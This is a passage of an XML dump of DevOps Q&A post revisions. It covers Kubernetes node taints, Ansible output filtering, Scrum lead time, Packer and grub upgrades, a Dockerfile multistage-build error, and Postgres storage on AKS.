another node02 with new taint , daemon set should not autoscale to new node with new taint**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   24m   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   14m   v1.17.2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get all -o wide&#xD;&#xA;    NAME              READY   STATUS    RESTARTS   AGE   IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-npmz5   1/1     Running   0          50s   192.168.85.193   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   24m   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                   DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    daemonset.apps/nginx   1         1         1       1            1           &lt;none&gt;          50s   nginx        nginx    app=nginx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Add new Node with new config.yaml and verify the node is ready and taint is set on new node added to cluster**&#xD;&#xA;&#xD;&#xA;    apiVersion: kubeadm.k8s.io/v1beta1&#xD;&#xA;        kind: JoinConfiguration&#xD;&#xA;        discovery:&#xD;&#xA;          bootstrapToken:&#xD;&#xA;            apiServerEndpoint: &quot;&lt;control_plain_ip&gt;:6443&quot;&#xD;&#xA;            token: &quot;your_token&quot;&#xD;&#xA;            caCertHashes:&#xD;&#xA;            - sha256:$CERT_HASH&#xD;&#xA;        nodeRegistration:&#xD;&#xA;          taints:&#xD;&#xA;          - effect: NoSchedule&#xD;&#xA;            key: specialnode2.kubernetes.io/SpecialNode2&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   25m   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   15m   v1.17.2&#xD;&#xA;    k8s-node02   Ready    &lt;none&gt;   22s   v1.17.2&#xD;&#xA; &#xD;&#xA;**Note the new taint on node02**&#xD;&#xA;   &#xD;&#xA;    $ kubectl describe node k8s-node02 | grep -i Taint&#xD;&#xA;    Taints:             specialnode2.kubernetes.io/SpecialNode2:NoSchedule&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Now check if daemon set has scaled to new node or not, it will not unless we remove the taint or add tolerance to daemonset**&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME              READY   STATUS    RESTARTS   AGE     IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-npmz5   1/1     Running   0          3m46s   192.168.85.193   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   27m   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                   DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE     CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    daemonset.apps/nginx   1         1         1       1            1           &lt;none&gt;          3m46s   nginx        nginx    app=nginx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **So we can use above steps to add  a new node to a running cluster and choose what is scheduled on it using taints**.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32905" PostHistoryTypeId="5" PostId="10707" RevisionGUID="05aada3f-30e0-4179-8eb6-9dd0dc3773c6" CreationDate="2020-02-05T12:05:33.413" UserId="19264" Comment="Update  question title to be self explanatory of the requirement. " Text="&#xD;&#xA;Given a working Kubernetes cluster consisting of a master and some workers.&#xD;&#xA;&#xD;&#xA;We need to add a node to run a very specific pod and be part of the cluster for networking reasons. Then being largely ignored for later pod creation by the master.&#xD;&#xA;&#xD;&#xA;Adding selectors to every deployment to avoid this node is out of question.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32906" PostHistoryTypeId="4" PostId="10707" RevisionGUID="05aada3f-30e0-4179-8eb6-9dd0dc3773c6" CreationDate="2020-02-05T12:05:33.413" UserId="19264" Comment="Update  question title to be self explanatory of the requirement. " Text="How to introduce(join) new worker node to an existing k8s cluster with selective scheduling only" ContentLicense="CC BY-SA 4.0" />
  <row Id="32907" PostHistoryTypeId="6" PostId="10707" RevisionGUID="05aada3f-30e0-4179-8eb6-9dd0dc3773c6" CreationDate="2020-02-05T12:05:33.413" UserId="19264" Comment="Update  question title to be self explanatory of the requirement. " Text="&lt;kubernetes&gt;&lt;kubeadm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32908" PostHistoryTypeId="24" PostId="10707" RevisionGUID="05aada3f-30e0-4179-8eb6-9dd0dc3773c6" CreationDate="2020-02-05T12:05:33.413" Comment="Proposed by 19264 approved by 40 edit id of 1145" ContentLicense="CC BY-SA 4.0" />
  <row Id="32909" PostHistoryTypeId="2" PostId="10718" RevisionGUID="2369fe2c-2c00-4700-896f-a91435e8556a" CreationDate="2020-02-05T12:10:58.587" UserId="19510" Text="I have the following output resulted from a shell command which is run on ansible on every host from my inventory:&#xD;&#xA;&#xD;&#xA;    TASK [debug]&#xD;&#xA;    ok: [10.240.22.44] =&gt; {&#xD;&#xA;        &quot;msg&quot;: {&#xD;&#xA;            &quot;changed&quot;: true,&#xD;&#xA;            &quot;msg&quot;: &quot;All items completed&quot;,&#xD;&#xA;            &quot;results&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;_ansible_ignore_errors&quot;: true,&#xD;&#xA;                    &quot;_ansible_item_result&quot;: true,&#xD;&#xA;                    &quot;_ansible_no_log&quot;: false,&#xD;&#xA;                    &quot;_ansible_parsed&quot;: true,&#xD;&#xA;                    &quot;changed&quot;: true,&#xD;&#xA;                    &quot;cmd&quot;: &quot;/opt/confluent/bin/nodefirmware smm1&quot;,&#xD;&#xA;                    &quot;delta&quot;: &quot;0:00:00.128325&quot;,&#xD;&#xA;                    &quot;end&quot;: &quot;2020-02-05 11:22:19.435049&quot;,&#xD;&#xA;                    &quot;failed&quot;: false,&#xD;&#xA;                    &quot;invocation&quot;: {&#xD;&#xA;                        &quot;module_args&quot;: {&#xD;&#xA;                            &quot;_raw_params&quot;: &quot;/opt/confluent/bin/nodefirmware smm1&quot;,&#xD;&#xA;                            &quot;_uses_shell&quot;: true,&#xD;&#xA;                            &quot;chdir&quot;: null,&#xD;&#xA;                            &quot;creates&quot;: null,&#xD;&#xA;                            &quot;executable&quot;: null,&#xD;&#xA;                            &quot;removes&quot;: null,&#xD;&#xA;                            &quot;stdin&quot;: null,&#xD;&#xA;                            &quot;warn&quot;: true&#xD;&#xA;                        }&#xD;&#xA;                    },&#xD;&#xA;                    &quot;item&quot;: &quot;10.240.18.20&quot;,&#xD;&#xA;                    &quot;rc&quot;: 0,&#xD;&#xA;                    &quot;start&quot;: &quot;2020-02-05 11:22:19.306724&quot;,&#xD;&#xA;                    &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;stderr_lines&quot;: [],&#xD;&#xA;                    &quot;stdout&quot;: &quot;smm1: SMM: 1.10 (TESM14F)\nsmm1: PSOC: 0.7&quot;,&#xD;&#xA;                    &quot;stdout_lines&quot;: [&#xD;&#xA;                        &quot;smm1: SMM: 1.10 (TESM14F)&quot;,&#xD;&#xA;                        &quot;smm1: PSOC: 0.7&quot;&#xD;&#xA;                    ]&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;_ansible_ignore_errors&quot;: true,&#xD;&#xA;                    &quot;_ansible_item_result&quot;: true,&#xD;&#xA;                    &quot;_ansible_no_log&quot;: false,&#xD;&#xA;                    &quot;_ansible_parsed&quot;: true,&#xD;&#xA;                    &quot;changed&quot;: true,&#xD;&#xA;                    &quot;cmd&quot;: &quot;/opt/confluent/bin/nodefirmware smm1&quot;,&#xD;&#xA;                    &quot;delta&quot;: &quot;0:00:00.096292&quot;,&#xD;&#xA;                    &quot;end&quot;: &quot;2020-02-05 11:22:22.847949&quot;,&#xD;&#xA;                    &quot;failed&quot;: false,&#xD;&#xA;                    &quot;invocation&quot;: {&#xD;&#xA;                        &quot;module_args&quot;: {&#xD;&#xA;                            &quot;_raw_params&quot;: &quot;/opt/confluent/bin/nodefirmware smm1&quot;,&#xD;&#xA;                            &quot;_uses_shell&quot;: true,&#xD;&#xA;                            &quot;chdir&quot;: null,&#xD;&#xA;                            &quot;creates&quot;: null,&#xD;&#xA;                            &quot;executable&quot;: null,&#xD;&#xA;                            &quot;removes&quot;: null,&#xD;&#xA;                            &quot;stdin&quot;: null,&#xD;&#xA;                            &quot;warn&quot;: true&#xD;&#xA;                        }&#xD;&#xA;                    },&#xD;&#xA;                    &quot;item&quot;: &quot;10.240.19.21&quot;,&#xD;&#xA;                    &quot;rc&quot;: 0,&#xD;&#xA;                    &quot;start&quot;: &quot;2020-02-05 11:22:22.751657&quot;,&#xD;&#xA;                    &quot;stderr&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;stderr_lines&quot;: [],&#xD;&#xA;                    &quot;stdout&quot;: &quot;smm1: SMM: 1.10 (TESM14F)\nsmm1: PSOC: 0.7&quot;,&#xD;&#xA;                    &quot;stdout_lines&quot;: [&#xD;&#xA;                        &quot;smm1: SMM: 1.10 (TESM14F)&quot;,&#xD;&#xA;                        &quot;smm1: PSOC: 0.7&quot;&#xD;&#xA;                    ]&#xD;&#xA;                }&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The information I need to extract and display on screen is this (for every host):&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    &quot;stdout_lines&quot;: [&#xD;&#xA;        &quot;smm1: SMM: 1.10 (TESM14F)&quot;,&#xD;&#xA;        &quot;smm1: PSOC: 0.7&quot;&#xD;&#xA;&#xD;&#xA;The previous command with the full output is registered as a variable using ansible register module:&#xD;&#xA;&#xD;&#xA;    - name: Get smm version&#xD;&#xA;      shell: some command&#xD;&#xA;      register: smm_output&#xD;&#xA;&#xD;&#xA;Then I'm trying to display it using (which displays the full output):&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ smm_output }}&quot;&#xD;&#xA;&#xD;&#xA;If I'm using msg: &quot;{{ smm_output.results.stdout_lines }}&quot; it returns error&#xD;&#xA;&#xD;&#xA;I also tried with **json_query** filter but with no results&#xD;&#xA;&#xD;&#xA;So how do I parse that output?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32910" PostHistoryTypeId="1" PostId="10718" RevisionGUID="2369fe2c-2c00-4700-896f-a91435e8556a" CreationDate="2020-02-05T12:10:58.587" UserId="19510" Text="ansible filter debug output" ContentLicense="CC BY-SA 4.0" />
  <row Id="32911" PostHistoryTypeId="3" PostId="10718" RevisionGUID="2369fe2c-2c00-4700-896f-a91435e8556a" CreationDate="2020-02-05T12:10:58.587" UserId="19510" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32913" PostHistoryTypeId="2" PostId="10720" RevisionGUID="10e955ab-d3ec-4a3a-b3d5-37a32e71a8dd" CreationDate="2020-02-05T13:25:58.330" UserId="31" Text="I'm currently revisiting Accelerate by Nicole Forsgren and I'm looking at her metrics for measuring high performance. Specifically Lead Time which she defines as:&#xD;&#xA;&#xD;&#xA;&gt; Lead Time is the time it takes from the customer making a request to the request being satisfied.&#xD;&#xA;&#xD;&#xA;She also notes that&#xD;&#xA;&#xD;&#xA;&gt; there are two parts to the lead time: the time it takes to design and validate a product or feature, and the time to deliver the feature to customers.&#xD;&#xA;&#xD;&#xA;However, in a normal scrum team stories are added and prioritised to the backlog all the time. Something may be added and then deprioritized or even cancelled. when exactly does a customer &quot;make a request?&quot;&#xD;&#xA;&#xD;&#xA;Is it:&#xD;&#xA;&#xD;&#xA; - When it's added to the backlog?&#xD;&#xA; - When it's accepted in Sprint planning?&#xD;&#xA; - When it's &quot;accepted&quot; and estimated?&#xD;&#xA; - Somewhere in between?&#xD;&#xA;&#xD;&#xA;I'm less worried about &quot;delivered&quot; that feeds into definition of done.&#xD;&#xA;&#xD;&#xA;Any &quot;word of god&quot; statements from Forsgren herself would be preferred." ContentLicense="CC BY-SA 4.0" />
  <row Id="32914" PostHistoryTypeId="1" PostId="10720" RevisionGUID="10e955ab-d3ec-4a3a-b3d5-37a32e71a8dd" CreationDate="2020-02-05T13:25:58.330" UserId="31" Text="How to measure Lead Time for a Scrum Team" ContentLicense="CC BY-SA 4.0" />
  <row Id="32915" PostHistoryTypeId="3" PostId="10720" RevisionGUID="10e955ab-d3ec-4a3a-b3d5-37a32e71a8dd" CreationDate="2020-02-05T13:25:58.330" UserId="31" Text="&lt;agile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32920" PostHistoryTypeId="5" PostId="1144" RevisionGUID="2aeed028-997b-411c-b36b-f700da8cc8fb" CreationDate="2020-02-05T15:35:03.587" UserId="13" Comment="added 1 character in body" Text="Your problem is that grub file change adhere to `ucf` and not debconf, as per this [incident on apt list](https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1323772) you're not alone.&#xD;&#xA;&#xD;&#xA;As workaround I found [this answer](https://askubuntu.com/a/262445/398662) on askunbuntu. Removing the `menu.lst` from the UCF configuration system should be enough, for your case:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;      {&#xD;&#xA;        &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;        &quot;inline&quot;: [&#xD;&#xA;          &quot;sudo ucf --purge /boot/grub/menu.lst&quot;,&#xD;&#xA;          &quot;sudo apt-get update&quot;,&#xD;&#xA;          &quot;sudo UCF_FORCE_CONFFNEW=YES apt-get upgrade -y&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This should avoid the grub question. Be warned that any other package using ucf  will also use the maintainer package version, for a creation from a base ami this should not be a problem, but it worth being noted." ContentLicense="CC BY-SA 4.0" />
  <row Id="32921" PostHistoryTypeId="2" PostId="10723" RevisionGUID="2ba4fab9-79de-49e9-9e3a-7c6200d1aeef" CreationDate="2020-02-05T15:38:07.967" UserId="17486" Text="The registered variable `smm_output` is a dict object and you can correctly dive into it. But you cannot use `smm_output.results.stdout_lines` because `smm_output.results` is a list. You need to iterate over it or filter the first element of results. So, if you know its only one element in the list, you should use `smm_output.results.0.stdout_lines`." ContentLicense="CC BY-SA 4.0" />
  <row Id="32922" PostHistoryTypeId="2" PostId="10724" RevisionGUID="d7ae8dbc-fafa-41b8-bc66-5fc78a7445fc" CreationDate="2020-02-05T15:54:24.857" UserId="17486" Text="The best way is of course (like Zeitounator comments) to use a inventory var. Either you use the version number in the docker-compose task as a variable or you create a Jinja2 template docker-compose.yml.j2 and use the variable there. That's what I do.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    all:&#xD;&#xA;      hosts:&#xD;&#xA;        host1.prod:&#xD;&#xA;          image: &quot;xyz/12&quot;&#xD;&#xA;        host2.dev:&#xD;&#xA;          image: &quot;xyz/latest&quot;&#xD;&#xA;&#xD;&#xA;And the `docker-compose.yml.j2` contains the variable:&#xD;&#xA;&#xD;&#xA;    version: '2.1'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      myservice:&#xD;&#xA;        image: &quot;{{ image }}&quot;&#xD;&#xA;        ..." ContentLicense="CC BY-SA 4.0" />
  <row Id="32924" PostHistoryTypeId="2" PostId="10725" RevisionGUID="ef7b7117-5bf5-465c-8962-04241758d0b6" CreationDate="2020-02-05T17:54:51.760" UserId="19518" Text="The idea of lead time is that when the customer asks for something, a clock starts ticking in their head and that clock stops when they have it in their hands. Therefor, a feature's lead time would be from when the request is received (this usually corresponds to adding it to the backlog) until it is delivered and usable to the requestor. &#xD;&#xA;&#xD;&#xA;Full disclosure, I haven't read Accelerate, but since Forsgren is using an existing term and it seems it's being used correctly, I am referring to the proper definition of the term.&#xD;&#xA;&#xD;&#xA;Now, that isn't to say all those other things you mention aren't valuable. They may be. They may even be more valuable to you than lead time. They just aren't lead time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32925" PostHistoryTypeId="2" PostId="10726" RevisionGUID="6f6dbb53-d597-4b65-aa19-6ff005cda818" CreationDate="2020-02-05T18:17:34.600" UserId="19520" Text="Using the following Dockerfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:latest&#xD;&#xA;&#xD;&#xA;USER root&#xD;&#xA;&#xD;&#xA;RUN apt-get -y update \&#xD;&#xA;    &amp;&amp; apt-get -y upgrade \&#xD;&#xA;    &amp;&amp; apt-get install -y \&#xD;&#xA;        python-pip \&#xD;&#xA;        nmap \&#xD;&#xA;        vim-tiny&#xD;&#xA;&#xD;&#xA;FROM python:2.7&#xD;&#xA;&#xD;&#xA;USER root&#xD;&#xA;&#xD;&#xA;RUN pip install --no-cache-dir cassandra-driver&#xD;&#xA;&#xD;&#xA;FROM cassandra:3.11.4&#xD;&#xA;&#xD;&#xA;WORKDIR /cassandra&#xD;&#xA;&#xD;&#xA;COPY ./cassandra.yaml /etc/cassandra/cassandra.yaml&#xD;&#xA;&#xD;&#xA;EXPOSE 7000 7001 7199 9042 9171&#xD;&#xA;&#xD;&#xA;CMD [&quot;cassandra&quot;, &quot;-f&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then running the commands:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker system prune -a -f&#xD;&#xA;&#xD;&#xA;docker-compose -f docker-compose.yml -f dev-docker-compose.yml up --build&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;when I then enter the cassandra container via the command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker exec -ti cassandra_app /bin/bash&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;None of the things I asked for has been installed!&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@2f1776a10084:/cassandra# nmap&#xD;&#xA;bash: nmap: command not found&#xD;&#xA;&#xD;&#xA;root@2f1776a10084:/cassandra# vi&#xD;&#xA;bash: vi: command not found&#xD;&#xA;&#xD;&#xA;root@2f1776a10084:/cassandra# python --version&#xD;&#xA;Python 2.7.13&#xD;&#xA;&#xD;&#xA;root@2f1776a10084:/cassandra# python -c &quot;import cassandra&quot;&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;File &quot;&lt;string&gt;&quot;, line 1, in &lt;module&gt;&#xD;&#xA;ImportError: No module named cassandra&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also tried running the build with the &quot;USER root&quot; lines removed, but no difference.&#xD;&#xA;&#xD;&#xA;I need a Cassandra container that includes &quot;vi&quot; and the python cassandra driver, and this wretched Docker is wasting hours and hours of my time trundling through its builds (which don't have any relevant error messages that I can see).&#xD;&#xA;&#xD;&#xA;It has gradually become clear that Docker caches things when it can, hence the &quot;-a -f&quot; arguments to the &quot;docker prune&quot; command - I want to be sure I'm doing a clean build each time.&#xD;&#xA;&#xD;&#xA;In case it is relevant, following are the Docker YAML files for the above build command:&#xD;&#xA;&#xD;&#xA;docker_compose.yml :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  application:&#xD;&#xA;#    image: appweb/app:python3&#xD;&#xA;    container_name: django_app&#xD;&#xA;    build:&#xD;&#xA;      context: ./application&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;8000&quot;&#xD;&#xA;     depends_on:&#xD;&#xA;      - postgres&#xD;&#xA;      - cassandra&#xD;&#xA;      - cassandra-node&#xD;&#xA;    networks:&#xD;&#xA;      - appnet&#xD;&#xA;    environment:&#xD;&#xA;      - DOCKERISED=1&#xD;&#xA;      - CASS_HOST1=cassandra:9042&#xD;&#xA;      - CASS_HOST2=cassandra-node:9042&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - &quot;34.253.98.48:34.253.98.47&quot;&#xD;&#xA;&#xD;&#xA;  postgres:&#xD;&#xA;    image: postgres:9.6.10&#xD;&#xA;    container_name: postgres_app&#xD;&#xA;    networks:&#xD;&#xA;      - appnet&#xD;&#xA;&#xD;&#xA;  cassandra:&#xD;&#xA;    build:&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;      context: ./cassandra&#xD;&#xA;    container_name: cassandra_app&#xD;&#xA;    environment:&#xD;&#xA;      - &quot;CASSANDRA_SEEDS=cassandra&quot;&#xD;&#xA;      - &quot;CASSANDRA_CLUSTER_NAME=App2 Cluster&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - appnet&#xD;&#xA;&#xD;&#xA;  cassandra-node:&#xD;&#xA;    build:&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;      context: ./cassandra&#xD;&#xA;    container_name: cassandra_app2&#xD;&#xA;    #command: /bin/bash -c &quot;echo 'Waiting for seed node' &amp;&amp; sleep 30 &amp;&amp; /docker-entrypoint.sh cassandra -f&quot;&#xD;&#xA;    environment:&#xD;&#xA;      - &quot;CASSANDRA_SEEDS=cassandra&quot;&#xD;&#xA;      - &quot;CASSANDRA_CLUSTER_NAME=APp2 Cluster&quot;&#xD;&#xA;    depends_on:&#xD;&#xA;      - &quot;cassandra&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - appnet&#xD;&#xA;&#xD;&#xA;networks:   appnet:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;dev-docker-compose.yml :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  application:&#xD;&#xA;    environment:&#xD;&#xA;      - CASS_USER&#xD;&#xA;      - CASS_PASS&#xD;&#xA;      - POSTGRES_USER&#xD;&#xA;      - POSTGRES_PASSWORD&#xD;&#xA;      - TESTMODE=1&#xD;&#xA;      - CQLENG_ALLOW_SCHEMA_MANAGEMENT=&quot;1&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./application/source:/application/source&#xD;&#xA;      - ./application/source/private_settings.py:/application/source/app2-config/app2/config/private_settings.py&#xD;&#xA;&#xD;&#xA;  postgres:&#xD;&#xA;    volumes:&#xD;&#xA;      - postgres_data:/var/lib/postgresql&#xD;&#xA;&#xD;&#xA;  cassandra:&#xD;&#xA;    volumes:&#xD;&#xA;       - cassandra_data:/var/lib/cassandra&#xD;&#xA;&#xD;&#xA;  cassandra-node:&#xD;&#xA;    volumes:&#xD;&#xA;       - cassandra_data2:/var/lib/cassandra&#xD;&#xA;&#xD;&#xA;volumes:   postgres_data:   cassandra_data:   cassandra_data2:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks in anticipation" ContentLicense="CC BY-SA 4.0" />
  <row Id="32926" PostHistoryTypeId="1" PostId="10726" RevisionGUID="6f6dbb53-d597-4b65-aa19-6ff005cda818" CreationDate="2020-02-05T18:17:34.600" UserId="19520" Text="Why are valid directives in my Dockerfile apparently being ignored?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32927" PostHistoryTypeId="3" PostId="10726" RevisionGUID="6f6dbb53-d597-4b65-aa19-6ff005cda818" CreationDate="2020-02-05T18:17:34.600" UserId="19520" Text="&lt;cassandra&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32928" PostHistoryTypeId="4" PostId="10700" RevisionGUID="8b0b20e2-1ee9-4feb-b893-2530c863badc" CreationDate="2020-02-05T19:59:37.770" UserId="6131" Comment="Change Question" Text="How do I expire users credentials for Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32929" PostHistoryTypeId="2" PostId="10727" RevisionGUID="b9208b0c-788b-4d28-9fdf-3c174bceea22" CreationDate="2020-02-05T22:04:12.910" UserId="19410" Text="&#xD;&#xA;It looks like your Dockerfile is attempting a [multistage build](https://docs.docker.com/develop/develop-images/multistage-build/):&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:latest&#xD;&#xA;...&#xD;&#xA;FROM python:2.7&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;This is a feature that enables you to build parts of your image in a *separate* build container and then import what you need. Unless you import stuff into your end container, it will be lost in the build process; this is exactly what is happening with your `RUN apt-get...` statement. To fix it, try removing the first stage of the build, (`FROM ubuntu:latest`) and moving your commands to after `FROM python:2.7` like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM python:2.7&#xD;&#xA;&#xD;&#xA;USER root&#xD;&#xA;&#xD;&#xA;RUN apt-get -y update \&#xD;&#xA;    &amp;&amp; apt-get -y upgrade \&#xD;&#xA;    &amp;&amp; apt-get install -y \&#xD;&#xA;        python-pip \&#xD;&#xA;        nmap \&#xD;&#xA;        vim-tiny&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm sorry you're having a hard time with Docker. Hopefully this helps and it starts making more sense. Good luck, friend!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32930" PostHistoryTypeId="5" PostId="10727" RevisionGUID="52914d43-470c-4455-95be-bd500f679162" CreationDate="2020-02-05T22:28:34.410" UserId="19410" Comment="Missed the third FROM statement in their dockerfile. Adjusted my answer accordingly." Text="It looks like your Dockerfile is attempting a [multistage build](https://docs.docker.com/develop/develop-images/multistage-build/):&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:latest&#xD;&#xA;...&#xD;&#xA;FROM python:2.7&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;This is a feature that enables you to build parts of your image in a *separate* build container and then import what you need. Unless you import stuff into your end container, it will be lost in the build process; this is exactly what is happening with your `RUN apt-get...` statement. To fix it, try removing the extra stages of the build, (`FROM ubuntu:latest` and `FROM python:2.7`) and moving your commands to after `FROM cassandra:3.11.4` like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM cassandra:3.11.4&#xD;&#xA;&#xD;&#xA;USER root&#xD;&#xA;&#xD;&#xA;RUN apt-get -y update \&#xD;&#xA;    &amp;&amp; apt-get -y upgrade \&#xD;&#xA;    &amp;&amp; apt-get install -y \&#xD;&#xA;        python-pip \&#xD;&#xA;        nmap \&#xD;&#xA;        vim-tiny&#xD;&#xA;&#xD;&#xA;RUN pip install --no-cache-dir cassandra-driver&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm sorry you're having a hard time with Docker. Hopefully this helps and it starts making more sense. Good luck, friend!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32931" PostHistoryTypeId="5" PostId="10669" RevisionGUID="6f68d3f0-d243-46af-9a10-733b3e113fa0" CreationDate="2020-02-05T23:45:23.170" UserId="11490" Comment="added 992 characters in body" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xD;&#xA;&#xD;&#xA;1. `azure-storage-claim.yaml`&#xD;&#xA;```&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-sc&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;  location: westus&#xD;&#xA;```&#xD;&#xA;2. `azure-storage.yaml`&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-storage&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: test-app-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 15Gi&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;PVC is now setup.&#xD;&#xA;&#xD;&#xA;Changed the mountPath per the Postgres image documentation:&#xD;&#xA;&#xD;&#xA;&gt;PGDATA&#xD;&#xA;&#xD;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xD;&#xA;&#xD;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      component: postgres&#xD;&#xA;  